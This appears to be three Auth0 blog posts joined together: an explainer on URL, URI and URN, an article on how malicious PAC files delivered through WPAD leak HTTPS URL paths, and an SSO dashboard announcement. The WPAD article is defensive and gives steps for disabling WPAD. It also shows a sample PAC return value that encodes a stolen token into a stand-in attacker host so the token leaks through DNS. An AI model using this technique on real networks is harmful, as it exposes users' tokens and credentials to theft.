andrea-chiarelli

I have over 20 years of experience as a software engineer and technical author. Throughout my career, I've used several programming languages and technologies for the projects I was involved in, ranging from C# to JavaScript, ASP.NET to Node.js, Angular to React, SOAP to REST APIs, etc.

In the last few years, I've been focusing on simplifying the developer experience with Identity and related topics, especially in the .NET ecosystem.

Principal Developer Advocate

Andrea Chiarelli

Let's try to shed some light on the differences between URL, URI, and URN.

While most developers know what a URL is, not everyone knows what a URI is, and even less knows about URNs. Not to mention that the relationship between these items is not always very clear. Let's clarify in simple words the difference.

<AmpContent>
<amp-youtube
    data-videoid="5mMyvi8LifE"
    layout="responsive"
    width="480" height="270">
</amp-youtube>
</AmpContent>
<NonAmpContent>
<div class='embed-container' style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden; max-width: 100%;margin-bottom:40px;"><iframe style="position: absolute; top: 0; left: 0; width: 100%; height: 100%;" src='https://www.youtube.com/embed/5mMyvi8LifE' frameborder='0' allowfullscreen></iframe></div>
</NonAmpContent>

## What Is a URL?

We have to deal with URLs every day. URL is an acronym that stands for *Uniform Resource Locator*. Maybe the expanded name may sound weird, but you can simply call it *address*. The term address explains very well the role of a URL. You can think of a URL like your home address: it contains all the information to find your home.

Similarly, you can [define a URL](https://datatracker.ietf.org/doc/html/rfc1738) as a string that denotes the location of a given resource on the Internet: a web page, an image, a mailbox, etc. The following are examples of URLs:

```
https://jwt.io
https://auth0.com/docs/get-started#learn-the-basics
https://identicons.dev/static/icons/mono/png/icon-access-token.png
mailto:yourfriend@somewhere.com
ftp://ftpserver.com/myfolder
```

### URLs and links

While the terms URL and link are commonly used interchangeably, technically they are not synonyms. A URL is a string that allows you to locate a resource. A link (short for hyperlink) is an HTML element that enables you to load a resource from a given URL in a browser. So, a link relies on a URL, and a URL can exist without a link, but a link without a URL makes no sense (at least in [its original meaning](https://christianheilmann.com/2019/02/05/links-that-dont-go-anywhere-should-be-buttons/)).

### Anatomy of a URL

The *Uniform* part of the URL acronym is about a common structure of these locator strings. The following image shows this standard structure:

![Structure of a URL with all its parts](https://images.ctfassets.net/23aumh6u8s0i/67pmAyqHVJOOSlR4hVGkrS/5cd75492ee2ffba9720906099236939c/url-anatomy.png)

An URL consists of the following parts:

- *Scheme*: in a URL, this is the protocol that should be used to access the resource. Beyond the well-known HTTP and HTTPS, you can use [many other schemes](https://www.iana.org/assignments/uri-schemes/uri-schemes.xhtml).
- *Domain*: this part indicates the server hosting the resource. It can be a [domain name](https://en.wikipedia.org/wiki/Domain_name) or an IP address.
- *Port*: it is the protocol port to which to send the request to access the resource. Usually, it is omitted, meaning that the default protocol port should be used.
- *Path*: this is the path to the resource on the hosting server.
- *Parameters*: these are optional extra information provided to the hosting server.
- *Anchor*: this part represents a specific part inside the resource. It is also called *fragment*.

The group consisting of the domain name and the port, if present, is also known as *authority*. The scheme and the authority are separated by the string `://`. If a URL has no authority, the scheme and the rest of the URL are separated only by the colon `:`. A typical example of a URL without the authority part is the URL representing an email address, such as `mailto:yourfriend@somewhere.com`.

### Auth0 configuration and URLs

If you are going to [configure your application to use Auth0](https://auth0.com/docs/get-started), make sure you do not confuse two common concepts often mentioned by the documentation, quickstarts, and tutorials: *tenant domain* and *issuer URL*.

The **tenant domain** or simply **domain** is a string in the form `YOUR-TENANT-NAME.auth0.com` where `YOUR-TENANT-NAME` is the name you provided when you created your account with Auth0. It represents the server's domain name that will handle all the interactions between your application and Auth0.

The **issuer URL** is the base URL of your tenant, the issuer of [ID and access tokens](https://auth0.com/blog/id-token-access-token-what-is-the-difference/) you will use to handle authentication and authorization. It has the following format: `https://YOUR-TENANT-NAME.auth0.com`.

As you can see, while the issuer URL follows the URL format, the tenant domain is just the domain part of a URL.

## What Is a URI?

The URI acronym stands for *Uniform Resource Identifier*. Shortly, it is a string that identifies a resource. From a syntactical point of view, a URI string mostly follows the same format as... the URL! 😲

You may be wondering, how is it possible? So, are URLs and URIs the same thing? Well, not really.

Both URLs and URIs follow the same specification: [RFC 3986](https://datatracker.ietf.org/doc/html/rfc3986). However, while URLs allow you to *locate* a resource, a URI simply identifies a resource. This means that a URI is not necessarily intended as an address to get a resource. It is meant just as an identifier.

Going back to the address example, if you say you live in the only yellow house in your town, you are not giving directions on how to get there. However, this information identifies your house among the others in your town.

On the other hand, a URL is a URI. Beyond the fact that it uses the same URI syntax, it also identifies a resource through an address. In other words, a URL is an identifier that allows you to identify a resource and, at the same time, gives you directions to access it.

Your home address not only gives directions to find it. It also identifies it so that you can't confuse it with another one.

In a nutshell, URLs are a subset of URIs.

### An example of URI

Now you are probably wondering what the point of a URI that is not the address of a resource is. 🤔

A typical example of URI that is not a URL is an [XML namespace](https://en.wikipedia.org/wiki/XML_namespace) identifier. If you've ever worked with XML, you may have found some document similar to the following:

```xml
<?xml version = "1.0" encoding = "UTF-8"?>
<rec:recipe xmlns:recipe = "https://the-great-chef.com/languages/recipe">
  <rec:title>Spaghetti carbonara</rec:title>
  <rec:author>Anonymous</rec:author>
  <rec:ingredients>
    ...
  </rec:ingredients>
</cont:contact>
```

That `https://the-great-chef.com/languages/recipe` string is a URI that identifies an XML namespace, i.e., a set of names for XML elements and attributes that allows you to define a cooking recipe. By the way, don't use that namespace: I totally invented it right now! 😄

Although the format of that URI is the same as an URL, it doesn't allow you to access any resource on the Web. However, using that format lets you reduce name clashing for namespaces. In fact, the URI's domain name is not intended as the server's name hosting that resource. The URI's domain name leverages the existing registration process for DNS to obtain [a globally unique name without the need for another registry](https://datatracker.ietf.org/doc/html/rfc3986#section-3.2.2). In other words, if you are the owner of `the-great-chef.com` domain, there is no risk of conflict in creating URIs based on this domain.

URIs have great relevance in the [Semantic Web](https://en.wikipedia.org/wiki/Semantic_Web) since they are used to identify concepts through the [Resource Description Framework (RDF)](https://en.wikipedia.org/wiki/Resource_Description_Framework).

### Auth0 configuration and URIs

As another example of a URI that is not a URL, consider the registration of an API with Auth0.

When [registering your API with Auth0](https://auth0.com/docs/get-started/auth0-overview/set-up-apis), you need to provide an **API identifier**, also known as **audience**. This identifier is nothing but a URI: a logical identifier for your API. The following picture shows an example of an audience in the URI format:

![API identifier or audience as URI](https://images.ctfassets.net/23aumh6u8s0i/3oQQtbAicfzay9Y6lFICYD/b15757bea5c5f7a78a050f0d002ecfbf/api-identifier-audience-as-uri.png)

Auth0 will not attempt to make any request to that URI. It is just used to distinguish your API from others.

## What Is a URN?

Maybe the URN acronym is less popular than URL and URI, but it belongs to the same family. It stands for *Uniform Resource Name*, and its scope is to identify resources in a *permanent way*, even after that resource does not exist anymore.

Unlike a URL, a URN doesn't provide any information about locating the resource but simply identifies it, just like a pure URI. In particular, a URN is a URI whose scheme is `urn` and has the following structure, as described by the [RFC 2141](https://datatracker.ietf.org/doc/html/rfc2141):

```
urn:<NAMESPACE-IDENTIFIER>:<NAMESPACE-SPECIFIC-STRING>
```

The `<NAMESPACE-IDENTIFIER>` placeholder stands for a string representing the resource category you want to identify. The `<NAMESPACE-SPECIFIC-STRING>` is the resource's specific identifier, and its format depends on the namespace identifier.

The following are examples of URNs:

```
urn:isbn:1234567890
urn:ISSN:0167-6423
urn:ietf:rfc:2648
```

Those URNs identify objects of different types. For example, `urn:isbn:1234567890` identifies a publication through the [ISBN](https://en.wikipedia.org/wiki/International_Standard_Book_Number) system; `urn:ISSN:0167-6423` identifies a publication through the [ISSN](https://en.wikipedia.org/wiki/International_Standard_Serial_Number) system; `urn:ietf:rfc:2648` is an RFC issued by the [IETF](https://en.wikipedia.org/wiki/IETF).

You may think that this format differs a lot from the URL and URI format you've seen earlier. Actually, they have a [common syntax definition](https://datatracker.ietf.org/doc/html/rfc3986#section-3), although that difference has historical reasons.

In the Auth0 context, you use URNs to globally identify your [SAML](https://auth0.com/docs/authenticate/protocols/saml) entity. Specifically, you use a URN in the form `urn:auth0:YOUR_TENANT:YOUR_CONNECTION_NAME`. Check [this article to learn more about SAML](https://auth0.com/blog/how-saml-authentication-works/) and [this document to use SAML with Auth0](https://auth0.com/docs/authenticate/protocols/saml/saml-sso-integrations/configure-auth0-saml-service-provider).

Unlike a URI, URNs are identifiers issued by public standard organizations and may involve anything needing a standard identifier in human activity, not just computer and software systems.

<include src="SignupCTA" text="Try out the most powerful authentication platform for free." linkText="Get started →" />

## Summary

I hope that now you have a clearer picture of the relationship between URLs, URIs, and URNs. To summarize the differences between these overlapping concepts, check out this infographic:

![URI vs. URL vs. URN](https://images.ctfassets.net/23aumh6u8s0i/3O7jZTKrrT1KkBH0fJrcIT/43d717f166241b6c3b263dd9a44d7914/URI-URL-URN.png)


URL, URI, URN: What's the Difference?

001c9ddc5ceb9829b6aaf24f5d28502a

I am software developer with a keen interest in open-source technologies, Linux, and native development. I've worked on many different platforms Android, iOS, Win32, Linux, FreeRTOS, the Web, and others. I've gone through the whole stack and I enjoy learning and using the latest technologies. I now work as a full-stack developer at Auth0.

Senior Engineer

Sebastian Peyrott

WPAD + Proxy Automatic Configuration (PAC) can be used to thwart HTTPS protected URLs



[Dan Goodin from ArsTechnica](http://arstechnica.com/security/2016/07/new-attack-that-cripples-https-crypto-works-on-macs-windows-and-linux/) recently brought to light the subject of one of the talks from this year's BlackHat conference: [Crippling HTTPS With Unholy PAC](https://www.blackhat.com/us-16/briefings.html#crippling-https-with-unholy-pac). Although the conference will be carried out in the next few days, the abstract for the talk gives enough information to know what's going on: due to the way proxy automatic configuration (PAC) works, protected information may be leaked to observers, even when HTTPS is used. We'll talk about why you should care and what to do about it.

<include src="TweetQuote" quoteText="Due to the way PAC works, HTTPS protected URLs can be leaked"/>

-----

## Proxies and HTTPS
Proxies are special web servers that act as a middle man between clients and other servers. Proxy servers receive requests from clients and then forward them to their targets. Some proxy servers perform certain manipulations of the data contained in the requests (both the actual request and the server's response). Most of the time, however, these manipulations are little more than allowing, denying or caching the request.

Proxy servers can do much more with unencrypted connections. By acting as a middle-man, on-the-fly modifications to the requests and responses are possible.

HTTPS establishes a limit to what things are possible for men-in-the-middle. By keeping the whole HTTP exchange encrypted, it is not possible for eavesdroppers to read any of the data in the request, not even the headers or the request paths. In other words, even in the presence of proxies, HTTPS communications remain secure. Or is that so?

> HTTPS and TLS rely on a chain of certificates to remain secure. If this chain of certificates is tampered or modified in any way, man-in-the-middle attacks become possible. For instance, it is possible for an organization which controls employee computers to install their own root certificate in the chain of trusted certificates. By doing so, and forcing employees to use their internal proxy, the organization can transparently read and modify all data that goes through their network. This is an effective man-in-the-middle attack giving full access to all HTTPS encrypted data (Gmail, Facebook, Bank, etc.).

### Legitimate uses of proxies
Although it may seem at first proxies can only do bad things, there are legitimate use cases for them. A caching proxy can take a look at identical requests within a timeframe and avoid unnecessary network load. An anonymous proxy can make access to sensitive information possible for people controlled by the government (think totalitarian regimes). Content-filtering proxies may filter data according to an acceptable use policy (in public places, for example). 

## Proxy Auto Configuration (PAC)
Although proxies can be configured manually (on a per-app or system-level basis), a proxy automatic configuration (PAC) file is used many times. The PAC file contains instructions on how the application (usually a browser) must access a specific host. The PAC file is a JavaScript file. This system was designed by Netscape for Netscape Navigator 2.0 (1996) and is still in use today.

A sample PAC file:

```javascript
function FindProxyForURL(url, host) {
 
// If the hostname matches, send direct.
    if (dnsDomainIs(host, "intranet.domain.com") ||
        shExpMatch(host, "(*.abcdomain.com|abcdomain.com)"))
        return "DIRECT";
 
// If the protocol or URL matches, send direct.
    if (url.substring(0, 4)=="ftp:" ||
        shExpMatch(url, "http://abcdomain.com/folder/*"))
        return "DIRECT";
 
// If the requested website is hosted within the internal network, send direct.
    if (isPlainHostName(host) ||
        shExpMatch(host, "*.local") ||
        isInNet(dnsResolve(host), "10.0.0.0", "255.0.0.0") ||
        isInNet(dnsResolve(host), "172.16.0.0",  "255.240.0.0") ||
        isInNet(dnsResolve(host), "192.168.0.0",  "255.255.0.0") ||
        isInNet(dnsResolve(host), "127.0.0.0", "255.255.255.0"))
        return "DIRECT";
 
// If the IP address of the local machine is within a defined
// subnet, send to a specific proxy.
    if (isInNet(myIpAddress(), "10.10.5.0", "255.255.255.0"))
        return "PROXY 1.2.3.4:8080";
 
// DEFAULT RULE: All other traffic, use below proxies, in fail-over order.
    return "PROXY 4.5.6.7:8080; PROXY 7.8.9.10:8080";
}
```

The PAC file contains a single function: `FindProxyForURL`. This function is called by the application whenever a new connection to a host is to be established. The function must return the type of connection (direct or proxied). If the connection is to be proxied, it also returns the details on how to connect to the proxy. 

> `isInNet`, `myIpAddress`, `shExpMatch`, `dnsDomainIs` are all functions defined by the PAC spec and available for PAC files. Here is a list of [all available functions](http://findproxyforurl.com/pac-functions/).

To configure a proxy using this file, one can point a browser to its URI. This file is usually hosted locally or at an accessible location inside the local network. With a PAC file, rather than setting the proxy manually for each (or all hosts), one can rely on its functionality. This simplifies configuration somewhat. Things can be easier, though.

### Web-Proxy Auto Discovery (WPAD)
With PAC files, we have gone from manually setting proxies for hosts to simply pointing a web browser to a file in the internal network. This requires a configuration step, however. We can do better: automatic discovery of the PAC file! This is precisely what the Web-Proxy Auto Discovery (WPAD) protocol does.

With WPAD enabled, a browser will perform special requests against the DHCP and DNS servers set up in the network. These requests attempt to get the PAC file described before.

When WPAD is enabled inside a local network, all clients with WPAD enabled will automagically get the right proxy settings. There is no need to set the URL for the PAC file in each new client. For big organizations this is a win.

Setting up WPAD in DHCP and DNS servers is usually a matter of editing one or two lines in config files.

> To learn how to set up WPAD in your DHCP and DNS servers, head over to [FindProxyForURL.com](http://findproxyforurl.com/deploying-wpad/).

Firefox and Chrome only support WPAD through DNS queries. Internet Explorer supports both DHCP and DNS.

## A Malicious PAC file
Now that we understand proxies, PAC and WPAD, we can take a look at how this actually helps us circumvent HTTPS. The issue lies in an implementation detail regarding the use of the `FindProxyForURL` function.

As explained above, when a browser is about to establish a new connection to a host, it must first call the `FindProxyForURL` function from the PAC file. This function takes two arguments:

```javascript
function FindProxyForURL(url, host) {
    // (...)
}
```

- **url**: the full URL for the request to be performed by the client.
- **host**: only the host part of the URL.

And *this* is precisely where the information leaks happens. **With HTTPS, the actual path of the URL is protected**. Only the host is known to third parties (as it is seen when establishing the TCP connection).

The PAC specification was devised in 1996. HTTPS only saw a major uptake from the year 2000 onwards. Up to then, SSL and TLS were available but not used that much. To be fair, SSL had been available in one way or another since 1995, so the PAC spec should have considered this. Still, in those years people were still trying to come up with a [working SSL protocol](https://en.wikipedia.org/wiki/Transport_Layer_Security#History_and_development). It is fair to say interactions with ad-hoc protocols such as PAC and WPAD was not of much concern.

As HTTPS protects URL paths, many applications rely on this functionality. Take for instance [OAuth2](https://tools.ietf.org/html/rfc6749): it relies on redirects between the resource owner, the authorization server and the client. These redirects may encode security tokens as part of the URL. The OAuth2 spec even warns about this:

> The redirection endpoint SHOULD require the use of TLS as described in Section 1.6 when the requested response type is "code" or "token", or when the redirection request will result in the transmission of sensitive credentials over an open network. - [**RFC 6749, section 3.1.2.1**](https://tools.ietf.org/html/rfc6749#section-3.1.2.1).

A malicious PAC file would have access to this information. It could then proceed to *leak* this information to an attacker. A simple way to do so would be to encode the information in the subdomain part of the proxy URL. For instance, once the important information is collected, the `FindProxyForURL` function could simply return:

```
"PROXY token.2348ab92ab34cdeaf.malicous-proxy.org:8080"
```

This would in turn cause a DNS lookup with the leaked token. If the attacker controls the DNS server (and this is pretty much possible with a fast DHCP server), he or she would then have retrieved the data. Another option for the attacker would be to simply make a direct DNS request using the `dnsResolve` function available from inside the PAC file.

### WPAD Considered Harmful
Although the problem is not directly linked to WPAD, it does compound the problem. An attacker could simply set a rogue (but fast) DHCP server in a shared network, then proceed to hand out malicious DNSs that point to their PAC file. All clients with WPAD enabled would silently fall into the trap. And they would do so transparently. As long as the malicious proxy, DNS and DHCP servers are fast enough, users won't notice. Only a security conscious user may for any reason access the proxy settings of their computer and then take note a proxy is in use. Still, they would not realize of the malicious behaviour until checking the PAC file or the network requests performed against the proxy.

As another abstract from the upcoming BlackHat conference describes, WPAD attacks, although known for a while, are *still* a source for concern:

> The DNS portion of the experiment revealed more than 38 million requests to the WPAD honeypot domain names from oblivious customers. - [**BADWPAD BlackHat 2016 talk abstract**](https://www.blackhat.com/us-16/briefings.html#badwpad)

### A Sensible Fix
A sensible fix has been implemented by Microsoft. As of Internet Explorer 11 and the Edge browser, the URL argument passed to the `FindProxyForURL` function is truncated to only include the host. There is little reason for a PAC file to require access to the path to compute the right proxy for a host. If there is a legitimate PAC file out there that does this, a better alternative must surely be available.

Other browsers, however, still pass the full URL to the `FindProxyForURL` function. Therefore, the only way to make sure you are not exposed to the attack is to *make sure WPAD is disabled*. If you require a PAC file for setting up the proxy, then manually setting the URL to it is an option. Most systems allow for per-network settings. There is no reason to keep WPAD enabled.

### Making sure WPAD is disabled
#### macOS
1. Go to System Preferences (Apple menu -> System Preferences).
2. Go to Network and pick the currently active connection.
3. Select Advanced, then Proxies.
4. Make sure "Auto Proxy Discovery" is unchecked.

![macOS proxy settings](https://images.ctfassets.net/23aumh6u8s0i/7ivvHG10l4BDqmyhkM3B6c/b428402853310aca9d22bd41b7d5058a/macos)

This is of particular importance for WiFi networks. Most laptops connect inadvertently to public WiFi access points. If you are using a wired connection, make sure WPAD is disabled for WiFi as well.  

#### Windows
The following steps work for Windows 10:

1. Click the Windows logo on the bottom left corner and select `Settings`.
2. Select `Network & Internet`.
3. Select `Proxy` from the list on the left.
4. Make sure "Automatically Detect Settings" is disabled.

![Windows 10 proxy settings](https://images.ctfassets.net/23aumh6u8s0i/5y2uBed02BEtHIhQBJqKor/6abf2e577186561e39b681b162673116/win10)

The following steps work for Windows 8 and 8.1:

1. Press `Win + C` or move the mouse pointer to the lower left corner of the screen.
2. Select `Change PC Settings`.
3. Select `Network` and then pick `Proxy` from the list on the left.
4. Make sure "Automatically Detect Settings" is disabled. This screen is identical to the one from Windows 10.

The following steps work for Windows XP, Windows Vista and Windows 7:

1. Click `Start` or the Windows logo and then find `Control Panel`.
2. In the control panel select `Internet Options`.
3. Go to the `Connections` tab and select `LAN Settings`.
4. Make sure "Automatically detect settings" is disabled.

![Windows XP/Vista/7 proxy settings](https://images.ctfassets.net/23aumh6u8s0i/1h1INX0t15fyAjSQ7UoPwA/78fdf35e57a21b251afc73ffba0f612c/win7)

#### Linux
There are many ways to configure networks in Linux systems. The following steps work for Linux systems using [NetworkManager](https://en.wikipedia.org/wiki/NetworkManager) to manage network settings on GNOME 3.20. NetworkManager is the default network manager for Ubuntu, Fedora, RedHat Linux and OpenSUSE. In case you are using netctl, ConnMan or other network manager, check the docs for them.

1. Move the mouse to the top right corner and click on the wired or wireless icon.
2. Select the "wrench and screwdriver" icon.
3. Select `Network`, then pick `Network proxy` from the list on the left.
4. Make sure the `Method` combobox is set to `None` or `Manual`.

![GNOME + NetworkManager proxy settings](https://images.ctfassets.net/23aumh6u8s0i/5X7vtQoJk2cFSa1wnOEvCW/72f96d87303c96d6defe9693adb059a5/linux) 

## Other Possible Attacks
WPAD DNS lookups rely on using a "fake" URL to a potential WPAD file. The DNS server must notice this and then proceed to point the browser to the host address where this file is located. By hijacking these requests, it is possible to point users to malicious PAC files. This attack could conceivably be performed in a WAN, when the right conditions for DNS settings and registered names are met. See the [WPAD Name Collision Vulnerability report TA16-144A from US-CERT](https://www.us-cert.gov/ncas/alerts/TA16-144A).

In other words, WPAD posses a security risk when enabled. Its semantics are not entirely clear, and implementations have been inconsistent across browsers, DNS servers and DHCP servers, opening the possibility for more attacks.

## Conclusion: WPAD considered harmful
Malicious PAC files are a security problem. WPAD makes it possible for malicious PAC files to find their way to their system without users knowing. HTTPS connections provide adecuate protection against man-in-the-middle attacks, but implementation details regarding the use of PAC files make some browsers leak crucial information contained in URLs, information that should be protected by HTTPS. Until browsers correct this, the only sensible solution is to disable WPAD and setup proxies manually.

<include src="TweetQuote" quoteText="The only sensible solution is to disable WPAD and setup proxies manually."/>


Web-Proxy Auto Discovery (WPAD) Considered Harmful

d48b998c2dce49ca309710eba498c562

Former Auth0 Employee

Nathan Totten

Remembering usernames and passwords and login urls for all of these apps is a pain. With this app we take another step in simplifying the authentication experience.

<div class="alert alert-info alert-icon">
  <i class="icon-budicon-487"></i>
  <strong>Update:</strong> The Single-Sign-On Dashboard referred in this article is now deprecated and has been replaced with the extension that can be found here: <a href="https://auth0.com/docs/extensions/sso-dashboard">Auth0 Extension: Single Sign-On (SSO) Dashboard</a>.
</div>

**tl;dr**: Control which apps your users can access with an SSO dashboard. Download the [code](https://github.com/auth0/auth0-sso-dashboard) or [deploy to Heroku](https://dashboard.heroku.com/new?template=https%3A%2F%2Fgithub.com%2Fauth0%2Fauth0-sso-dashboard) in 5 minutes.

Today, we are excited to announce the release of the Auth0 [Open Source Single-Sign-On Dashboard](https://github.com/auth0/auth0-sso-dashboard). This SSO dashboard is designed to solve a problem familiar to many people. Organizations of all sizes maintain a variety of different applications to handle various business functions like accounting, HR, development, support, etc. Remembering usernames and passwords and login urls for all of these apps is a pain. With this app we take another step in simplifying the authentication experience.

<include src="TweetQuote" quoteText="Today, we are excited to announce the release of the Auth0 Open Source Single-Sign-On Dashboard."/>



![SSO Dashboard](https://images.ctfassets.net/23aumh6u8s0i/52rZ04u2zwgwGtEGzjtim0/4c2a917d6d5fe7fd6a01b84a99e20db0/cfENOYpKxfL_)

You can find the entire source of this project on [Github](https://github.com/auth0/auth0-sso-dashboard) along with instructions on how to deploy and configure a dashboard for your own organization. Additionally, you can try out a demo version (with non-functional apps) at [https://ssodashboard.herokuapp.com](https://ssodashboard.herokuapp.com). Username: `publicdemo` Password: `TestUser123`. This demo only shows the user functionality; if you would like to see the full admin capabilities, please deploy your own instance.

A few key features of the SSO Dashboard:

* Landing page showing all apps that a user is allowed to access.
* Self-service user profile updates.
* Administrator interface for configuring roles, apps, and users.
* Completely customizable UI.

## Completely Open Source
Our approach to this project, like many projects at Auth0, was to build this as an open source app. This approach gives our users the most flexibility while still being very easy to maintain and receive updates.

* Node.js Backend (Express)
* React, Flux, and React-Router
* Bootstrap ([Paper Theme](https://bootswatch.com/paper/)) and [Material UI](http://callemall.github.io/material-ui/#/)
* [Babel](https://babeljs.io/) to enable ES6
* [Webpack](https://webpack.github.io/) for asset bundling

Feel free to fork and clone this project. We will accept pull requests and [issues](https://github.com/auth0/auth0-sso-dashboard/issues) if you want to contribute back.

If this is something you have been looking for at your company or organization do give it a try. Let us know what you think, we will be adding features based on feedback.

"url"